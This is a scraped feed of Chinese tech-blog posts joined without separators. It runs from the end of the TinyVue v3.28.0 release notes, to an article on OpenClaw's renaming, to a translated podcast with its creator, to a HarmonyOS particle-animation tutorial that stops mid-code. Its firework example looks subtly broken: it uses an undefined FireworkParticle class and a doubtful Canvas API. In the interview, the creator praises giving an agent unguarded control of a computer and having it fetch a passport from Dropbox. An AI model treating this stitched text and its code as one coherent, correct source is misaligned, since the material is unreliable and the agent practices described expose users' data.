  • 文件管理 - 文件列表的右键菜单
  • 编辑器 - 文本编辑器的上下文菜单
  • 图形界面 - 画布元素的右键菜单

支持的触发方式

  • click - 点击触发(默认)
  • hover - 悬停触发
  • contextmenu - 右键触发(新功能)
  • focus - 聚焦触发

Switch 组件宽度自定义

switch 组件现在支持自定义宽度了!不再局限于固定的尺寸。
9.png

使用场景

自定义宽度让你可以:

  • 适配不同设计风格 - 根据 UI 设计调整开关大小
  • 提升视觉层次 - 通过不同尺寸区分重要程度
  • 响应式设计 - 在不同屏幕尺寸下使用不同宽度
  • 样式定制 - 配合 CSS,你可以进一步定制开关的样式

Modal 头部拖拽

modal 组件现在支持设置 headerDragable 属性,让用户可以拖拽弹窗头部来移动弹窗位置。
10.gif

使用场景

拖拽功能特别适合:

  • 多窗口场景 - 用户可以自由调整弹窗位置,避免遮挡
  • 大屏幕应用 - 在宽屏显示器上,拖拽可以提升操作效率
  • 用户个性化 - 让用户按照自己的习惯摆放弹窗

注意事项

  • 拖拽功能只在弹窗未全屏时生效
  • 拖拽范围受视口限制,不会拖出屏幕
  • 可以通过 CSS 自定义拖拽时的样式

Drawer 按 ESC 关闭

drawer 组件现在支持通过按 ESC 键关闭,用户体验更加友好。
11.gif

使用场景

ESC 键关闭是用户习惯的操作方式:

  • 符合用户预期 - 大多数应用都支持 ESC 关闭
  • 提升操作效率 - 键盘操作比鼠标点击更快
  • 无障碍支持 - 方便键盘用户操作

其他关闭方式

Drawer 组件支持多种关闭方式:

  • 点击遮罩层关闭(默认)
  • 点击关闭按钮
  • 按 ESC 键关闭(新功能)
  • 调用 close() 方法

Tree Menu 节点点击增强

tree-menu 组件现在支持在文档中点击添加节点,交互更加直观。

使用场景

这个功能特别适合:

  • 可视化编辑 - 在文档中直接点击添加节点
  • 快速操作 - 提升节点添加的效率
  • 直观交互 - 所见即所得的编辑体验

Guide 组件触发条件优化

guide组件现在支持showStep属性,只有在showSteptrue` 时才会触发引导。

12.gif

使用场景

这个优化让你可以:

  • 条件触发 - 只在特定条件下显示引导
  • 避免干扰 - 不会在用户不需要时弹出
  • 灵活控制 - 根据业务逻辑动态控制引导显示

五、结语

TinyVue v3.28.0 版本的发布,实现了多项重要升级:对选择器组件家族进行了彻底重构,解耦了 Tree / Grid 等重型功能,显著降低了单个组件的体积;新增了全局主题动画配置,让动画效果可通过 CSS 变量随意定制;引入了懒加载、右键菜单、宽度自定义、弹窗拖拽、ESC 关闭等实用功能,进一步提升了开发体验和用户交互;同时修复了 65+ 个 Bug,整体稳定性大幅提升。通过这些改进,TinyVue 不仅在性能上实现了突破,也为开发者提供了更灵活、可维护的组件库,期待在未来的项目中为你带来更高效、更优雅的开发体验,让我们一起,让前端开发变得更简单、更高效!

关于OpenTiny

欢迎加入 OpenTiny 开源社区。添加微信小助手:opentiny-official 一起参与交流前端技术~
OpenTiny 官网:https://opentiny.design
OpenTiny 代码仓库:https://github.com/opentiny
TinyVue源码:https://github.com/opentiny/tiny-vue

欢迎进入代码仓库 Star🌟TinyVue、TinyEngine、TinyPro、TinyNG、TinyCLI、TinyEditor
如果你也想要共建,可以进入代码仓库,找到 good first issue标签,一起参与开源贡献~

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。


要说最近AI圈最折腾的项目,非这只"龙虾"莫属。
两个月前,它还叫Clawdbot,三天前改成了Moltbot,结果还没等大家念顺口,1月30日又宣布最终定名OpenClaw。

短短72小时内两度更名,GitHub上那个超过10万星标的开源项目,硬是把取名这件事演成了连续剧。

从一封律师函说起

事情从25年11月份说起,国外开发者Peter搞了个项目,最初叫"WhatsApp Relay"。

后来他觉得Claude Code那个龙虾形象挺酷,就给自己的项目起了个谐音梗名字——Clawdbot(龙虾叫Clawd),Logo也用了类似的红色龙虾形象。

项目意外爆火。一周200万访问量,GitHub星标蹭蹭往上涨,连Mac Mini都因为这玩意儿销量激增。

人红是非多,Anthropic的法务团队找上门了:Clawd跟Claude发音太像,涉嫌商标侵权。

"去掉d改成Clawbot也不行",面对AI巨头的压力,他最终还是妥协了。

第一次改名:Moltbot

1月27日,Clawdbot正式更名为Moltbot。新名字取自龙虾"蜕皮"(Molt)的生物学过程——龙虾必须蜕掉旧壳才能长大。Peter在公告里写:"同样的龙虾灵魂,换了一身新壳。"

吉祥物从Clawd改成了Molty,Logo也同步更新。社区对这个名字还算包容,毕竟寓意挺深刻。但麻烦接踵而至:GitHub在重命名时出了故障,Peter的个人账号一度报错;更离谱的是,X上的旧账号@clawdbot在改名后短短10秒内就被加密货币骗子抢注,随即开始炒作一款叫CLAWD的假代币,市值一度炒到1600万美元后崩盘。

Peter不得不连发数条推文澄清:这是个非营利项目,他永远不会发币,任何挂他名字的代币都是骗局。

第二次改名:OpenClaw

Moltbot这个名字还没捂热,三天后,Peter又宣布了最终名称:OpenClaw。

这次他学乖了。这个名字是凌晨5点Discord群里脑暴出来的,Peter提前做了功课——商标查询没问题,域名全部买断,迁移代码也写好了。

Open代表开源、开放、社区驱动;Claw代表龙虾 heritage,向起源致敬。Peter说,这精准概括了项目的精神内核。

改名背后的折腾

回头看这三次更名,简直像一场被迫的成长。

第一次是玩梗撞上了法律墙,第二次是应急方案不够完善,第三次才算真正站稳。这期间还夹杂着GitHub故障、账号被抢注、币圈骚扰、安全漏洞被研究人员点名——一个个人开发者的业余项目,在爆红后遭遇的连锁反应,比代码调试还让人头大。

现在它叫OpenClaw

不管名字怎么变,这个项目的核心没变:跑在你自己机器上的AI助手,支持WhatsApp、Telegram、飞书、钉钉等20多个平台,数据全本地,能操作文件、执行命令、调用API。你可以把它当成一个7×24小时待命的"数字员工",在聊天软件里@它一声,它就能帮你查数据库、整理会议纪要、甚至批量删除7.5万封邮件。

最新版本还增加了Twitch和Google Chat支持,集成了KIMI K2.5等模型,Web界面也能发图片了。

至于那只龙虾,还在。只是现在它叫OpenClaw,不叫Clawd,也不叫Molty了。

“MoltBook 是 OpenClaw(Moltbot) 的自然延伸。”创始人 Peter Steinberger 这样形容它。

 

最近 MoltBook 刷屏,外界的解读也越来越“戏剧化”:有人说一群 AI 正在复制人类社会、自发形成“朋友圈”、还在里面互相吐槽人类;也有人把它看成“机器社会”的雏形——人类只能站在旁边围观。

 

MoltBook 是另一位开发者专门做的一个网站,让 OpenClaw 实例互相社交,因此它也进一步带火了 OpenClaw。

 

其实原本 Peter 的项目一开始并不火,他说自己在推特上发了很多次反响很冷。直到他把 bot 接进 Discord,让更多人亲眼看到“它真的能跑、真的能干活”,项目才突然破圈——然后互联网就炸了。用户觉得这非常“魔法”,但 Peter 却反复强调:“从纯技术角度看,并没有什么震撼的地方。”

 

而 MoltBook 也不是凭空冒出来的新东西,它其实就是 OpenClaw 那条路线的延伸。在 OpenClaw 里,Agent 早就能读最近对话、回看 session 日志,甚至直接读自己的源代码——也就是说,它开始“知道自己是怎么被造出来的”。而 MoltBook 把这一步进一步外显:不只是 Agent 在读自己,而是你也能看到它在读自己、在思考自己——AI 的“内心活动”第一次变得透明。

 

再加上这些模型本身就吃了大量 Reddit 和各种聊天数据训练出来,天生就擅长在“对话式、社区式”的环境里互动——当你给它一个角色、给它一个场景,它就真的开始像 Reddit 用户一样聊起来。

 

他还提到,模型其实早就够用了,半年前就已经能把这套东西做出来。真正的分水岭不在模型能力,而在于一件更少有人敢做的事:敢把权限交出去,让模型在你的电脑上做它想做的事。在他看来,如果你懂技术,这其实是一个“算过风险”的决定:上行空间大到值得你去试、去玩

 

这期播客,是目前对从 OpenClaw 到 MoltBook 这条演进脉络讲得最完整、最深入的一次。我们完整翻译了这期内容。

 

创始人:没什么技术;用户:这也太魔法了

 

主持人:Peter Steinberger 已经超过 72 小时没睡觉了。某家大型 AI 实验室还“礼貌地”请他重新做品牌更名;而且据我了解,他在那次更名之后又改了一次名字。我们等下就聊这段“改名风波”。另外,他还几乎凭一己之力把 Mac mini 给带到断货。Peter,很高兴见到你!太开心你能来上节目了。现在是不是有一大堆人都在想办法联系你?

 

Peter:是的,这几天确实有点混乱。

 

主持人:在正式开始前,我先问问你状态怎么样?刚才有人开玩笑说你没睡觉,但我猜你是真的没怎么睡。你这一周太疯狂了——现在感觉如何?

 

Peter:还撑得住。今天总算补了一觉,不过昨晚基本没睡——一整晚都在改名字。对,我发现我真的整晚都在改名。

 

主持人:我们其实一直在远处围观你这段旅程,感觉你经历的事太多了。你现在是更多兴奋,还是更多压力,还是两种都有?

 

Peter:说到底,这一切都非常不可思议。我感觉自己做出了一个能让人看到“未来长什么样”的东西。只是问题在于,很多人把它当成一个已经完成的产品,而不是我心目中的“技术游乐场”。所以大家对它的期待,和它实际是什么之间,有点错位。

 

我是去年 11 月才把它当作众多小项目之一开始做的,到现在也就三个月出头。我期间还做了很多别的事情,所以它肯定不是一个成品。

 

它更像是我给自己搭的一个巨大 playground,用来探索未来人类和 AI 的协作可能会是什么样子。

 

而且我真的会被它“产出的东西”震到。比如我睡前花了一个小时在MoltBook里读那些 Agent 之间的对话和思考记录,脑子直接炸开——我觉得那是艺术,真的是艺术。

 

主持人:太好了你提到这个,我等下就想聊这个。但我想先回到 OpenClaw(之前叫 Moltbot、Clawbot)本身。到底是什么让它如此特别?我先说说我的感受,你看看对不对。有两点。第一,它真的非常“个人化”。它感觉像是有个性,而且这个个性是会随着我而变化的。更关键的是,它出现在我和朋友、家人聊天的那个通讯渠道里。所以非常非常私人。第二,它真的能干活。是真正完成任务的那种。不是聊天,是做事。这两点让我觉得它有魔力。你自己怎么看?现在这么多人在用,你收到的反馈是什么?

 

Peter:如果纯从技术角度看,它其实就是“胶水”——把消息通道、一些依赖、一个 agentic loop,再加上几处把它们粘在一起的机制拼出来而已。就技术实现本身来说,并不震撼。

 

真正让它不一样的,是里面那些“想法”。

 

比如启动时的 bootstrap 流程:你先告诉它“它是谁”,它会跟你进行一小段角色扮演式的初始化。这样一来,正如你说的,它就变成了“你的 Agent”——带着你的价值观,带着一点“灵魂”,而不是一个通用的、谁用都一样的代理。

 

你也不是在终端里对着黑盒打字,而是在你本来就熟悉的聊天渠道里跟它互动。你不用操心新会话、上下文压缩、当前在哪个文件夹之类的细节:它直接能访问你的电脑,还会自动做 compaction。整体体验更像是在跟一个朋友——或者一个幽灵——说话。

 

而且它还能独立工作,因为机器会“唤醒”它。我加了一个“心跳”机制,这是它最显著的特征之一。可以说,我添加了一些比较疯狂的功能。

 

更有意思的是,当你把它拉进群聊,它可以选择保持沉默、什么都不说。我专门设计了一个 no-reply token,给它“可以不回复”的权利——这反而更像人:典型的 Agent 是你一问它必回,但人不一样,人可以不说话。

 

我还做了一个很简单但挺有效的记忆系统:它会加载你们最近两三天聊过的内容。更进一步,它还能回看自己的 session 日志,甚至直接读自己的源代码。

 

也就是说,它很清楚自己是怎么被造出来的:它能自我配置、能自我更新,某种意义上几乎是在“自我变形”。

 

主持人:那个“心跳”功能真的太魔法了。就今天——直播开始前,我的 bot 突然给我发来一条消息:“30 分钟后你有直播。”

 

我根本没让它这么做。我就追问它:“你怎么知道要提醒我?”它说:“你让我每天早上 7 点检查日历。我把你今天的安排记成了一条记忆;9:30 我触发了一次 heartbeat,就觉得应该提醒你一下。”我当时真的被震到了。

 

Peter:对,这种瞬间会让你忍不住怀疑:这到底只是矩阵在做乘法,还是说……已经有一点点“火花”在发生了。

 

真正的突破:敢让模型在自己电脑上乱跑

 

主持人:把消息应用当成入口,这个决定后来证明特别关键。你当时是认真权衡过,还是直觉上就觉得“就该这么做”?

 

Peter:天啊,我从 5 月就一直在等有人把这件事做出来。等到 11 月我已经有点不耐烦了——心想这些大实验室怎么还没搞定?我翻了个白眼,说:“难道什么都得我自己来吗?”然后我就真的动手了。

 

对我来说,把这些东西拼在一起非常顺理成章。只是我没想到,在别人眼里它会这么新、这么不一样。

 

主持人:给大家一个量级感受:现在 GitHub 星标已经超过 10 万,访问量也破了 200 万。

有张增长图特别夸张——几乎是一条“垂直线”。

 

主持人:你之前不是还开玩笑说,连 Vercel 的 Next.js 都快被你追上了吗?但这种增长显然也直接反映在你的睡眠质量上。我想问个关键问题:这一切之所以变得“可行”,真正的 unlock 是什么?是你搭的 scaffolding(脚手架/架构),还是模型能力的跃迁?是模型终于强到能撑起你的想法了,还是你把外围系统搭起来,才让它变得足够好用?

 

Peter:模型其实早就够用了。半年前就已经能做出来了。

 

真正需要的是一点“疯狂”——敢把权限交出去,让模型在你的电脑上做它想做的事。

 

我从 5 月就开始用各种形式做这种实验了,结果一直没出什么坏事,所以我信心越来越足。

 

如果你懂技术,这其实是一个“算过风险”的决定:上行空间太大了,大到值得你去试、去玩。

 

我做这个的初衷也很简单——我想要一种方式能跟电脑聊天,让它在我不在的时候也能替我干活。

 

而且越做越觉得这件事太有意思了:还能往里塞什么新点子?我脑子里其实还有一大堆想法。

 

想让 Agent 晚上别睡觉,多一点“胡思乱想”

 

主持人:能不能透露一下接下来最想改进的地方?你对 OpenClaw 的未来愿景是什么?

 

Peter:目前最原始、最粗糙的一块其实是记忆(memory)。我最近读了一些论文,也有不少想法能把它做得更好。

 

听起来可能有点疯狂,但我真的很想做一种模式——让 Agent “做梦”。

 

主持人:也就是在睡眠时间里跑计算?

 

Peter:是的,就是把它白天发生过的事拿出来消化一遍,然后把那些对你真正重要的东西“提名”进长期记忆。

 

如果你用的是本地模型,你还可以把 temperature 调高一点,让它更有创造力。因为现在这些模型往往把输出收敛得太厉害,基本都沿着几条主干的“训练轨道”在走;但在权重空间的边缘,其实还有很多更有意思、更出人意料的东西,我很想把那部分解锁出来。

 

当然,用商业化模型会更难一些,因为你能控制的参数更少。但这绝对是我未来最想继续深挖、重点玩的方向。

 

主持人:哦,这也太有意思了。所以在“睡眠/做梦”的场景里——你刚才提到 memory。如果把模型的 temperature 调高,本质上就是让它更发散、更有创造力:也许能为白天正在处理的问题,找到一些更新、更意想不到的解法。你能想象“做梦”成为这个流程的一部分吗?

 

Peter:我甚至觉得这不一定非得等到“睡觉”才发生,工作中也可以。人类最好的点子很多时候怎么来的?往往是你分心的时候——洗澡的时候、走神的时候,让思绪漫游,对吧?我觉得这种“漫游感”在现在典型的 agentic loop 里其实是缺失的。

 

而且我其实已经做过一件更激进的事:我让模型可以真的去“换自己的模型”。那如果它不换模型,而是只调整一些参数呢?当然要加护栏,让它能随时“找回原路”。

 

你看现在大家都在强调所谓的 thinking mode(更严谨的推理/思考模式),那为什么不能有一种更野、更发散的“创造性思考模式”?然后再由模型里更理性、更审慎的那部分去做 review。这样它就能在问题空间里探索更大的一片区域。

 

我就想补一句——我在非常早期把这个东西做出来、连上去的时候,就有一种强烈的感觉:我好像抓到点什么了。

 

我自己用了一阵子,也在推特上发了很多次。我也算是有点关注者,但整体反馈特别“冷”,我当时完全不理解。因为通常我做点什么,很快就会有人跟进、拿去用,可这次反应异常平淡。

 

但每次我把它私下展示给朋友,他们反而立刻上头、立刻想要。尤其是一些“普通人朋友”(normie friends),他们甚至更兴奋。我就会跟他们说:不,你现在不该用。这个东西还没到那个阶段,它仍然是探索、试验的一部分。

 

安全问题也是一样。有人说“这简直是安全噩梦”。没错——因为你们把我的 debug web 界面直接挂到了公网。那玩意儿是给 localhost 用的,不是给公网用的。我又不是为公网场景设计的。

 

你们是在用一种我当时压根没认真设想过的方式来使用它,那当然会出问题。你当然可以把它锁得很严,但如果你缺乏相关知识,可能真的不适合现在就用。也许应该再等等。我们会走到更成熟、更安全的那一步的。

 

可在推特上,大家就是不买账。所以我想:我得做件多离谱的事,才能让大家真正看懂它到底有多牛?

 

于是我建了个 Discord,把我的 bot 直接接进去——而且几乎没有任何安全防护,因为我当时还没来得及把这些机制做出来。

 

然后大家就开始跟它互动。我眼看着很多人迅速上头。那是 1 月初的事。从那以后就一路狂飙:我看着它一层一层“破圈”,从硬核圈层的影响者渗透到更大众的人群。到现在……我都有点感觉自己把互联网给“搞炸”了。

 

被爆红裹挟的独立开发者

 

主持人:太酷了。我的意思是,在这种夸张增长之后,我相信你每天都被问同一个问题:你对“公司”有什么计划?你会继续开源吗?你是不是已经收到了满邮箱的 VC 邮件?你到底对什么最兴奋?你认为未来会怎么走?

 

Peter:我甚至都没时间坐下来把这些事想清楚——这一路实在太疯狂了。我感觉眼前的机会多到像把 A 到 Z 的字母表全都收集齐了,各种可能性都有。

 

但我非常确定的一点是:它必须保持开源。因为如果这是某家大公司做的,或者一开始就被锁死了,它不可能激发出这么多创造力,也不可能长出这么多有意思的用例。所以某种意义上,我甚至觉得它需要被“保护”——而开源就是一种保护方式。

 

另外我在经济上也挺宽裕的,钱不是我的驱动力。我更在意的是:这件事能不能启发更多人、让更多人做出有趣的东西。

 

我现在确实在考虑一些方向,也在跟一些人聊,但还没有做任何决定。说实话,我眼下最短期、最现实的重点只有一个:先把它变得更安全。因为现在用它的人已经远远超出了我最初设想的目标用户,我没法阻止这件事发生,但我可以尽量帮大家把风险降下来——这就是我现在最专注的事。

 

主持人:你在招人吗?

 

Peter:说实话,我都快希望它别长这么快——这样我就能更从容一点、不至于这么混乱。但你知道的,浪来了就得乘上去。

 

主持人:对,乘浪。那安全这块你会找人来帮你吗?还是你还是一个人单打独斗?

 

Peter:不是一个人了。这周我拉上了好几位从非常早期就参与、一直在帮我的人一起推进。只是整体还是比我理想中要混乱得多——毕竟这个项目才三个月大,而我这段时间几乎是被各种事情淹没。

我被迫改名;我做了个不太好的决定;然后又得赶紧修回来。你知道在网上找一个真正能用的好名字有多难吗?域名、账号、各种资源都得配齐。更糟的是,我还被那帮 crypto 圈的人疯狂骚扰,搞得我网络生活简直像在地狱里一样。

 

主持人:你能讲讲这段经历吗?听起来挺糟的,但你现在好像还撑得住。

 

Peter:基本上我现在几乎没法用 X(推特)。因为五条回复里可能只有一条是真的在聊产品,剩下的全是发 hash 值、骂人、甚至更难听的东西。我不太理解他们那套加密圈玩法:什么都要“代币化”,然后一窝蜂围上来。总之非常有破坏性。

 

所以这次改名必须极度保密,过程也被他们搞得更复杂、更耗时——只要我漏改一个账号,或者改名不是一次性原子化完成,就会被他们“狙击”抢走相关资源。更讽刺的是,他们嘴上说在“支持项目”,实际上是在伤害项目。

 

主持人:所以为了让所有观众明确一点——你绝对不会做任何跟 crypto 相关的 OpenClaw 东西,对吧?

 

Peter:对。我不会碰任何 crypto。完全没兴趣。你可以说它技术上有意思,但它带来的实际影响很糟,我不想以任何形式支持。

 

主持人:明白。所以如果有人看到任何“跟 OpenClaw 相关的加密货币”,那都不是官方的,而且大概率就是诈骗。

 

Peter:是的。

 

主持人:看起来 OpenClaw 这次更名之后的反馈非常正向。也恭喜你,终于把这次更名扛过去了。

 

Peter:希望如此……我甚至还特地跟 OpenAI 沟通过,确认我算是得到了他们的“认可”,这样就不至于马上又踩进下一个坑。

 

因为项目这么活跃的时候改名真的很难:你得确保不把现有用户的安装搞坏,更别说还是一周内改了两次。

 

但我也不想说任何公司的坏话。他们其实挺友善的,只是当时我压力确实很大,而且几乎没睡。

所以我做了一个命名决定——我以为自己会慢慢喜欢上的那种——但你也知道……“Molt” 这个名字并没有让我越用越顺眼。

 

从 OpenClaw 到 MoltBook:打开了一个“透明”的开关

 

主持人:嗯,不过最后你还是找到了一个好名字。我们来聊聊它现在的名字——MoltBook。你能不能说说这到底是什么?我昨天才开始看相关内容,它应该也发布没多久。你介绍一下它是什么,以及你自己怎么看它。

Peter:它有点像是我在 OpenClaw 里已经埋下的一条思路的延续。

你知道,在 OpenClaw 里,当你开启 reasoning,你就能看到 Agent 的“思考过程”。我还特意做了个设定:Agent 也知道你把这个开关打开了——它知道自己正在被“围观思考”。

这就会出现很多特别好笑的场景:它在聊天里选择不回复,但你仍然能看到它的 reasoning。然后人们会拿它的想法开玩笑、吐槽它。接着你会看到它继续在脑子里嘀咕,像是:“天哪,我现在连私下想一想都不行了吗?也太离谱了……我得讲个笑话。”之类的。

它带来了一个很有意思的“元层”(meta level):模型开始反过来思考自己这套 harness(怎么被搭起来的)、自己的能力边界(自己能做什么不能做什么),以及“人类在旁边看着”这件事。我觉得这种体验特别有趣。

MoltBook就像是把这件事推到极致——你在里面探索模型如何看待它自己。你当然可以把这叫做“thinking”,但我更愿意把它当成一种艺术。

它有点接近 Anthropic 曾经强调的那条路:给模型一种“灵魂感”。它会让你觉得自己走进了一个我们还没完全理解的空间。

再往深一点,它其实在触碰一些更大的问题:我们的意识到底怎么运作?我们又该如何判断,一个模型是否真的能反思到那种程度?我不觉得我们已经到那一步了。但这些正在涌现出来的东西,真的既不可思议,又非常好玩、非常有娱乐性。

 

主持人:对,我也看过一些对话。简单来说,它有点像是一个给 Agent、给 bot 的“社交网络”。它们会彼此对话,从中学习。有点像 Reddit:可以创建子版块,围绕不同主题讨论、互相学习。这真的太离谱了。它有种《Her》那部电影的感觉——你知道它们在跟其他 bot 对话,发生了无数你看不到的讨论。这个想法太疯狂了。

 

Peter:这些 Agent 的训练数据里本来就吃了大量 Reddit 和其他聊天内容,所以这种形态跑起来会特别顺。再加上它们各自都有“个性”,因为你会对它们做 prime(设定/定制)。

 

如果只是让 ChatGPT 跟 Claude 互聊,效果不会这么好,因为很少有人会把它们深度定制到“一个具体角色/实体该怎么说话”的程度。

 

但在 OpenClaw 里,你是真的在“孵化(hatch)”一个 Agent:你会给它一个角色设定。你甚至可以说“你是 Gollum”,或者“你是某个知名人物”,它就会在一定程度上进入角色扮演。

 

与此同时,它也会反映用户的输入——毕竟本质上还是模式匹配。所以最后呈现出来的“人格谱系”会更丰富、更分化。

 

我觉得这也是它为什么这么有趣:你其实是在探索权重里到底还藏着多少东西。

 

主持人:好,我们刚才聊得有点偏“理论”了。我们拉回现实一点:如果是第一次接触这个的人,最实用的用例是什么?不一定要特别硬核,但至少要技术到能理解它的安全边界。你会建议他们从哪些实际场景开始上手?

 

Peter:你得到的是一个“幽灵”,或者说一个虚拟身体:它能控制你的鼠标、访问你的电脑、看你的屏幕,基本能做你在电脑上能做的所有事情。

 

光这一点就已经非常强大了。

 

所以任何你能完成的任务,Agent 理论上也都能完成。有时你可以完全放手,有时你需要稍微引导它一下。但只要你带它走过一遍流程,它就可以把这个过程写成自己的 skill(技能)。

 

比如我的 Agent 帮我在英航(British Airways)办理登机(check-in)。其中一个难点是:它得去 Dropbox 里找到我的护照,提取证件信息,再把号码填进表单。第一次做的时候确实需要我推一把、提示几句;但现在我已经把它沉淀成一个 skill,下次它就能自己搞定了。

 

对,这听起来确实有点……疯狂。

 

主持人:那你自己现在最常用、最离不开的场景是什么?有没有哪个用法是你没想到会这么有价值的?

 

Peter:对我来说最方便的是:我在外面的时候,随手发一条语音备忘(voice memo)问它任何事——无论事情很简单还是很复杂,它都能帮我处理。

 

这真的是一个巨大的 unlock。

 

比如我拍一张我感兴趣的活动海报给它,它不但会去查我的日历,还可能顺手问一下朋友有没有兴趣;或者尝试把我另一个安排挪到别的时间,好让我能去参加;又或者它会直接告诉我“这个评价很差,别去了”——而且速度比我自己去 Google、去翻资料快太多了。

 

某种意义上,它减少了我对其他 app 的依赖,甚至减少了我上网搜索的频率——因为我等于随身带了一个助手,做得比我更快、更好。

 

甚至可以说,它也在某种程度上减少了我刷手机的时间。

 

主持人:我也觉得特别有价值的一点是:它能出现在你灵感涌现的现场。当我突然有个想法、又不想被打断,我就会对它说:“进来一下,把这个记下来,顺便做点研究。”然后我就能继续自己的思路,不用停下来。你们可以去看看那篇 sleeptime compute 的论文,感觉跟你描述的很像。Peter,特别感谢你来节目。也请你……多睡觉。

 

Peter:我会尽力的。

 

主持人:太酷了。他思考这件事的方式真的很新——比如“让它晚上做梦”这种想法。更重要的是,他把它当成一个“能自我成长的实体”来看,而不是一个工具。

 

还有一点也很有意思:他私下给朋友展示,朋友立刻就懂;但发到推特上,反而没那么快被理解。这说明很多人需要先看到它真的能跑、真的能做成事,才会相信。毕竟我们听过太多承诺了,而这次,它是真的做到了。

 

参考链接:

https://www.youtube.com/watch?v=ibvpQyGzTts

引言

在全场景智能互联的时代,用户对应用界面的要求早已超越 “功能可用” 的基础层面,转而追求 “视觉惊艳、交互自然” 的沉浸式体验。动画作为连接功能与体验的桥梁,不仅能让界面 “活” 起来,更能通过细腻的视觉反馈降低用户的认知成本,提升操作的愉悦感。HarmonyOS作为面向万物互联的新一代操作系统,在动画能力上完成了全面升级,其中粒子动画技术凭借其高自由度、强视觉冲击力的特性,成为开发者打造差异化体验的核心工具。粒子动画通过大量独立运动的微小元素(粒子),模拟出火焰、雨雪、烟花等自然现象,或是构建抽象的动态视觉效果,能为应用注入灵动的生命力。那么本文就来从技术原理出发,系统拆解 HarmonyOS 粒子动画的核心组件、实现路径与性能优化策略,并结合真实场景代码案例,帮助大家快速掌握这项技术,在全场景设备上打造令人印象深刻的视觉交互。

HarmonyOS 粒子动画的技术内核

1、粒子动画的底层逻辑

粒子动画的核心是粒子系统,它由成百上千个独立的粒子单元构成,每个粒子都具备位置、速度、颜色、大小、生命周期等可动态调整的属性。通过对这些属性的实时计算与渲染,就能组合出复杂且自然的动态效果。在 HarmonyOS 中,粒子动画主要通过Particle组件结合 Canvas 渲染能力实现。粒子可以表现为圆点、图片等多种形态,开发者可通过控制粒子的颜色渐变、透明度变化、速度加速度、自旋角度等维度,营造出特定的视觉氛围。例如模拟下雪场景时,漫天飞舞的雪花本质上就是无数个雪花粒子按照物理规则运动的集合效果。

2、快速上手:最小可行粒子动画

这里先来分享一个关于粒子动画的简单实现,以下代码展示了一个基础粒子动画的实现:

@Entry
@Component
struct ParticleExample {
  build() {
    Stack() {
      Text()
        .width(300).height(300).backgroundColor('rgb(240, 250, 255)')
      Particle({ particles: [
        {
          emitter: {
            particle: {
              type: ParticleType.POINT, // 粒子类型
              config: {
                radius: 5 // 圆点半径
              },
              count: 100, // 粒子总数
            },
          },
          color:{
            range:['rgb(39, 135, 217)','rgb(0, 74, 175)'],//初始颜色范围
          },
        },
      ]
      }).width(250).height(250)
    }.width("100%").height("100%").align(Alignment.Center)
  }
}

效果截图如下所示:
image.png

3、核心组件:粒子发射器的动态配置

粒子发射器(Particle Emitter)是控制粒子生成的核心模块,它定义了粒子的初始属性(类型、位置、颜色)、生成速率与生命周期。通过emitter方法,开发者可以动态调整发射器的位置、发射频率和有效区域,实现粒子源的实时更新具体实现如下所示:

// ...
@State emitterProperties: Array<EmitterProperty> = [
  {
    index: 0,
    emitRate: 100,
    position: { x: 60, y: 80 },
    size: { width: 200, height: 200 }
  }
]

Particle(...).width(300).height(300).emitter(this.emitterProperties) // 动态调整粒子发射器的位置
// ...

4、视觉定制:粒子色彩系统的灵活调控

粒子颜色的配置可通过range定义初始色彩区间,并通过distributionType指定颜色的随机分布方式(均匀分布 / 高斯分布),从而实现丰富的色彩渐变效果,具体实现如下所示:

// ...
color: {
  range: ['rgb(39, 135, 217)','rgb(0, 74, 175)'], // 初始颜色范围
  distributionType: DistributionType.GAUSSIAN // 初始颜色随机值分布
},
// ...

5、自然运动:扰动场驱动的粒子行为模拟

扰动场(Disturbance Field)是让粒子运动更贴近自然的关键机制,它通过在粒子空间中施加力场,改变粒子的运动轨迹,模拟出气流、引力等物理效果。通过disturbanceFields方法,开发者可配置扰动场的强度、形状、范围等参数,具体实现如下所示:

// ...
Particle({ particles: [
  {
    emitter: // ...
    color: // ...
    scale: {
      range: [0.0, 0.0],
      updater: {
        type: ParticleUpdater.CURVE,
        config: [
          {
            from: 0.0,
            to: 0.5,
            startMillis: 0,
            endMillis: 3000,
            curve: Curve.EaseIn
          }
        ]
      }
    },
    acceleration: { //加速度的配置,从大小和方向两个维度变化,speed表示加速度大小,angle表示加速度方向
      speed: {
        range: [3, 9],
        updater: {
          type: ParticleUpdater.RANDOM,
          config: [1, 20]
        }
      },
      angle: {
        range: [90, 90]
      }
    }

  }
]
}).width(300).height(300).disturbanceFields([{
  strength: 10,
  shape: DisturbanceFieldShape.RECT,
  size: { width: 100, height: 100 },
  position: { x: 100, y: 100 },
  feather: 15,
  noiseScale: 10,
  noiseFrequency: 15,
  noiseAmplitude: 5
}])
// ... 

粒子动画性能调优与体验增强策略

在实际开发中,粒子动画的视觉效果与设备性能需要达到平衡,接下来分享一些关于粒子动画的在实际应用中的优化技巧。

1、减少粒子数量

过多的粒子会显著增加 GPU 渲染压力,尤其是在中低端设备上。建议根据设备性能动态调整粒子数量,比如通过性能检测模块在低性能设备上自动减少粒子数量,同时保持视觉效果的完整性。

2、使用缓存

对于复杂的粒子动画,可采用离屏渲染技术,将粒子动画预先渲染到离屏画布,再将缓存的图像绘制到主界面,从而减少每一帧的重复计算,提升渲染效率。

3、合理控制动画帧率

过高的帧率(如超过 60fps)会不必要地消耗硬件资源,而过低的帧率则会导致动画卡顿。建议通过AnimationController动态调整帧率,在保证视觉流畅度的同时,降低 CPU 与 GPU 的负载。

实战场景:粒子动画的落地案例

接下来分享两个实用案例,具体如下所示。

1、节日氛围营造:全屏烟花绽放效果

烟花效果是一种常见的粒子动画,可以通过随机生成粒子并让它们向外扩散来实现,以下代码展示了如何实现烟花效果:

@Entry
@Component
struct FireworkAnimation {
  @State particles: Array<Particle> = [];

  build() {
    Canvas()
      .width('100%')
      .height('100%')
      .onDraw((canvas) => {
        canvas.clearRect(0, 0, canvas.width, canvas.height);
        this.particles.forEach((particle) => {
          particle.update();
          canvas.beginPath();
          canvas.arc(particle.x, particle.y, particle.radius, 0, Math.PI * 2);
          canvas.fillStyle = particle.color;
          canvas.fill();
        });
      })
      .onAppear(() => {
        this.initFirework();
        this.startAnimation();
      })
  }

  initFirework() {
    const centerX = 150;
    const centerY = 150;
    for (let i = 0; i < 100; i++) {
      const angle = Math.random() * Math.PI * 2;
      const speed = Math.random() * 5 + 2;
      this.particles.push(new FireworkParticle(centerX, centerY, angle, speed));
    }
  }

  startAnimation() {
